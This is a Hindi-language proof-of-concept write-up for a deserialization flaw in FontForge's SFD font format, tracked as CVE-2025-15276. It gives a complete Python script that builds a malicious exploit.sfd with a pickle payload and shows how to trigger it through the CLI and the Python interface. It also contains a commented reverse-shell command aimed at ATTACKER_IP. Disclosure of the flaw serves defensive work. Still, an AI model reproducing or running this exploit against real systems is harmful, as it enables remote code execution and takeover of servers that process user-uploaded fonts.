
अवधारणा का प्रमाण - CVE-2025-15276 - FontForge SFD File Parsing Deserialization of Untrusted Data Remote Code Execution Vulnerability
यह प्रूफ ऑफ कॉन्सेप्ट (PoC) केवल शैक्षिक उद्देश्यों और सुरक्षा ऑडिटिंग के लिए है। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। कंप्यूटर सिस्टम में अनधिकृत पहुंच अवैध है। किसी भी सिस्टम पर सुरक्षा परीक्षण करने से पहले हमेशा स्पष्ट अनुमति प्राप्त करें।
CVE-2025-15276 FontForge (संस्करण 20230101 तक और इसमें शामिल) में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता है। यह दोष स्प्लाइन फ़ॉन्ट डेटाबेस (.sfd) प्रारूप के पार्सिंग में विशेष रूप से PickledData फ़ील्ड के भीतर मौजूद है।
FontForge का SFD प्रारूप PickledData कीवर्ड का उपयोग करके लगातार पायथन शब्दकोशों को संग्रहीत करने की अनुमति देता है। जब कोई फ़ॉन्ट लोड किया जाता है, तो FontForge इस स्ट्रिंग को निकालता है और इसे बिना किसी सैनिटाइज़ेशन या सैंडबॉक्सिंग के सीधे Python के pickle.loads() फ़ंक्शन (या समकक्ष आंतरिक डिसीरियलाइज़ेशन रूटीन) में पास करता है।
क्योंकि Python pickle मॉड्यूल स्वाभाविक रूप से असुरक्षित है और मनमानी वस्तु पुनर्निर्माण की अनुमति देता है, एक हमलावर FontForge चलाने वाले उपयोगकर्ता के विशेषाधिकारों के साथ मनमाने सिस्टम कमांड को निष्पादित करने के लिए __reduce__ विधि का उपयोग कर सकता है।
20230101 या उससे पहले।exploit.sfd फ़ाइल बनाने के लिए निम्नलिखित Python स्क्रिप्ट (gen_poc.py) का उपयोग करें। यह PoC समझौता (IoC) के एक सुरक्षित संकेतक के रूप में /tmp/pwned में एक फ़ाइल बनाने के लिए कॉन्फ़िगर किया गया है।
import pickle
import os
# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd generated successfully.")
भेद्यता को केवल FontForge के साथ फ़ाइल खोलकर ट्रिगर किया जा सकता है।
विकल्प A: मानक GUI/CLI लोड
fontforge exploit.sfd
विकल्प B: Python स्क्रिप्टिंग इंटरफ़ेस (स्वचालित पाइपलाइनों में सामान्य)
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'
जांचें कि कमांड निष्पादित हुआ या नहीं:
ls -l /tmp/pwned
यह भेद्यता फ़ॉन्ट प्रोसेसिंग पाइपलाइनों (जैसे, वेब-आधारित फ़ॉन्ट कन्वर्टर या स्वचालित सत्यापन स्क्रिप्ट) में विशेष रूप से खतरनाक है जो बैकएंड पर उपयोगकर्ता द्वारा अपलोड की गई फ़ाइलों को संसाधित करने के लिए FontForge का उपयोग करती हैं। यदि बैकएंड स्क्रिप्ट किसी अविश्वसनीय .sfd फ़ाइल पर fontforge.open() को कॉल करती है, तो हमलावर को प्रोसेसिंग सर्वर पर पूर्ण नियंत्रण प्राप्त हो जाता है।
.sfd फ़ाइलों को प्रोसेस न होने दें।